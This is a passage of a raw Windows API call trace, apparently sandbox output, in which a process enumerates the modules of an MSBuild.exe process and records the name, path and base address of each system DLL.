lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0055.439] GetLastError () returned 0x2 [0055.439] GetModuleInformation (in: hProcess=0x4e4, hModule=0x60350000, lpmodinfo=0x26c1668, cb=0xc | out: lpmodinfo=0x26c1668*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0055.439] GetLastError () returned 0x2 [0055.439] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0055.440] GetLastError () returned 0x2 [0055.440] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0055.441] GetLastError () returned 0x2 [0055.441] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73b20000, lpmodinfo=0x26c27f0, cb=0xc | out: lpmodinfo=0x26c27f0*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0055.442] GetLastError () returned 0x2 [0055.442] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0055.443] GetLastError () returned 0x2 [0055.443] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0055.444] GetModuleInformation (in: hProcess=0x4e4, hModule=0x6a310000, lpmodinfo=0x26c39c0, cb=0xc | out: lpmodinfo=0x26c39c0*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0055.445] GetLastError () returned 0x2 [0055.445] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0055.446] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0055.446] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745b0000, lpmodinfo=0x26c4b08, cb=0xc | out: lpmodinfo=0x26c4b08*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0055.447] GetLastError () returned 0x2 [0055.447] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0055.448] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0055.449] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73a20000, lpmodinfo=0x26c5c04, cb=0xc | out: lpmodinfo=0x26c5c04*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0055.450] GetLastError () returned 0x2 [0055.450] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0055.451] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0055.452] GetModuleInformation (in: hProcess=0x4e4, hModule=0x72480000, lpmodinfo=0x26c6de4, cb=0xc | out: lpmodinfo=0x26c6de4*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0055.453] GetLastError () returned 0x2 [0055.453] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0055.454] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0055.455] GetModuleInformation (in: hProcess=0x4e4, hModule=0x739c0000, lpmodinfo=0x26c7f88, cb=0xc | out: lpmodinfo=0x26c7f88*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0055.456] GetLastError () returned 0x2 [0055.456] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0055.457] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0055.458] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74720000, lpmodinfo=0x26c908c, cb=0xc | out: lpmodinfo=0x26c908c*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0055.459] GetLastError () returned 0x2 [0055.459] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0055.460] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0055.460] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74710000, lpmodinfo=0x26ca188, cb=0xc | out: lpmodinfo=0x26ca188*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0055.461] GetLastError () returned 0x2 [0055.461] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0055.462] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0055.463] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73980000, lpmodinfo=0x26cb284, cb=0xc | out: lpmodinfo=0x26cb284*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0055.464] GetLastError () returned 0x2 [0055.464] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0055.465] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0055.466] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73970000, lpmodinfo=0x26cc380, cb=0xc | out: lpmodinfo=0x26cc380*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0055.467] GetLastError () returned 0x2 [0055.467] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0055.468] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0055.469] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73960000, lpmodinfo=0x26cd484, cb=0xc | out: lpmodinfo=0x26cd484*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0055.470] GetLastError () returned 0x2 [0055.470] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0055.472] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0055.473] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736e0000, lpmodinfo=0x26ce580, cb=0xc | out: lpmodinfo=0x26ce580*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0055.474] GetLastError () returned 0x2 [0055.474] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0055.475] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0055.476] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73910000, lpmodinfo=0x26cf67c, cb=0xc | out: lpmodinfo=0x26cf67c*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0055.477] GetLastError () returned 0x2 [0055.477] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0055.478] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0055.479] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736c0000, lpmodinfo=0x26d0770, cb=0xc | out: lpmodinfo=0x26d0770*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0055.480] GetLastError () returned 0x2 [0055.480] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0055.481] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0055.482] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736b0000, lpmodinfo=0x26d1874, cb=0xc | out: lpmodinfo=0x26d1874*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0055.483] GetLastError () returned 0x2 [0055.483] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0055.484] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0055.485] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736a0000, lpmodinfo=0x26d2b80, cb=0xc | out: lpmodinfo=0x26d2b80*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0055.486] GetLastError () returned 0x2 [0055.486] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0055.487] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0055.488] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73680000, lpmodinfo=0x26d3c84, cb=0xc | out: lpmodinfo=0x26d3c84*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0055.490] GetLastError () returned 0x2 [0055.490] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0055.491] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0055.492] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73670000, lpmodinfo=0x26d4d88, cb=0xc | out: lpmodinfo=0x26d4d88*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0055.493] GetLastError () returned 0x2 [0055.493] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0055.494] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0055.495] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d00000, lpmodinfo=0x26d5e84, cb=0xc | out: lpmodinfo=0x26d5e84*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0055.496] GetLastError () returned 0x2 [0055.496] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0055.497] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0055.499] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73620000, lpmodinfo=0x26d6f88, cb=0xc | out: lpmodinfo=0x26d6f88*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0055.500] GetLastError () returned 0x2 [0055.500] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0055.501] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0055.502] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73610000, lpmodinfo=0x26d8084, cb=0xc | out: lpmodinfo=0x26d8084*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0055.503] GetLastError () returned 0x2 [0055.503] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0055.504] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0055.506] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735d0000, lpmodinfo=0x26d9188, cb=0xc | out: lpmodinfo=0x26d9188*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0055.507] GetLastError () returned 0x2 [0055.507] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0055.508] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0055.509] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735c0000, lpmodinfo=0x26da28c, cb=0xc | out: lpmodinfo=0x26da28c*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0055.510] GetLastError () returned 0x2 [0055.511] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0055.512] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0055.514] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75140000, lpmodinfo=0x26db390, cb=0xc | out: lpmodinfo=0x26db390*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0055.515] GetLastError () returned 0x2 [0055.515] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0055.516] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0055.524] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x2753148, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x2753148, lpcbNeeded=0x26e998) returned 1 [0055.525] GetLastError () returned 0x2 [0055.525] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x2753254, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x2753254, lpcbNeeded=0x26e998) returned 1 [0055.526] GetLastError () returned 0x2 [0055.526] GetModuleInformation (in: hProcess=0x4e4, hModule=0x400000, lpmodinfo=0x2753494, cb=0xc | out: lpmodinfo=0x2753494*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0055.526] GetLastError () returned 0x2 [0055.526] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0055.526] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0055.526] GetModuleInformation (in: hProcess=0x4e4, hModule=0x77130000, lpmodinfo=0x27545e4, cb=0xc | out: lpmodinfo=0x27545e4*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0055.527] GetLastError () returned 0x2 [0055.527] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0055.527] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0055.527] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74b20000, lpmodinfo=0x27556d8, cb=0xc | out: lpmodinfo=0x27556d8*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0055.527] GetLastError () returned 0x2 [0055.527] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0055.527] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0055.527] GetModuleInformation (in: hProcess=0x4e4, hModule=0x76c20000, lpmodinfo=0x27567d4, cb=0xc | out: lpmodinfo=0x27567d4*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0055.528] GetLastError () returned 0x2 [0055.528] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0055.528] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0055.528] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75960000, lpmodinfo=0x27578d8, cb=0xc | out: lpmodinfo=0x27578d8*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0055.528] GetLastError () returned 0x2 [0055.528] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0055.528] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0055.529] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d40000, lpmodinfo=0x2758a14, cb=0xc | out: lpmodinfo=0x2758a14*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0055.529] GetLastError () returned 0x2 [0055.529] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0055.529] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0055.529] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74e10000, lpmodinfo=0x2759b18, cb=0xc | out: lpmodinfo=0x2759b18*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0055.530] GetLastError () returned 0x2 [0055.530] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0055.530] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0055.530] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75740000, lpmodinfo=0x275ac14, cb=0xc | out: lpmodinfo=0x275ac14*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0055.530] GetLastError () returned 0x2 [0055.530] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0055.531] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0055.531] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ee0000, lpmodinfo=0x275bd10, cb=0xc | out: lpmodinfo=0x275bd10*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0055.531] GetLastError () returned 0x2 [0055.531] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0055.531] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0055.532] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c90000, lpmodinfo=0x275ce5c, cb=0xc | out: lpmodinfo=0x275ce5c*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0055.532] GetLastError () returned 0x2 [0055.532] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0055.532] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0055.532] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c80000, lpmodinfo=0x275df58, cb=0xc | out: lpmodinfo=0x275df58*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0055.533] GetLastError () returned 0x2 [0055.533] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0055.533] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0055.536] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74aa0000, lpmodinfo=0x275f05c, cb=0xc | out: lpmodinfo=0x275f05c*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0055.537] GetLastError () returned 0x2 [0055.537] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0055.537] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0055.537] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75340000, lpmodinfo=0x2760194, cb=0xc | out: lpmodinfo=0x2760194*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0055.538] GetLastError () returned 0x2 [0055.538] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0055.538] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0055.538] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ad0000, lpmodinfo=0x2761290, cb=0xc | out: lpmodinfo=0x2761290*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0055.539] GetLastError () returned 0x2 [0055.539] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ad0000, 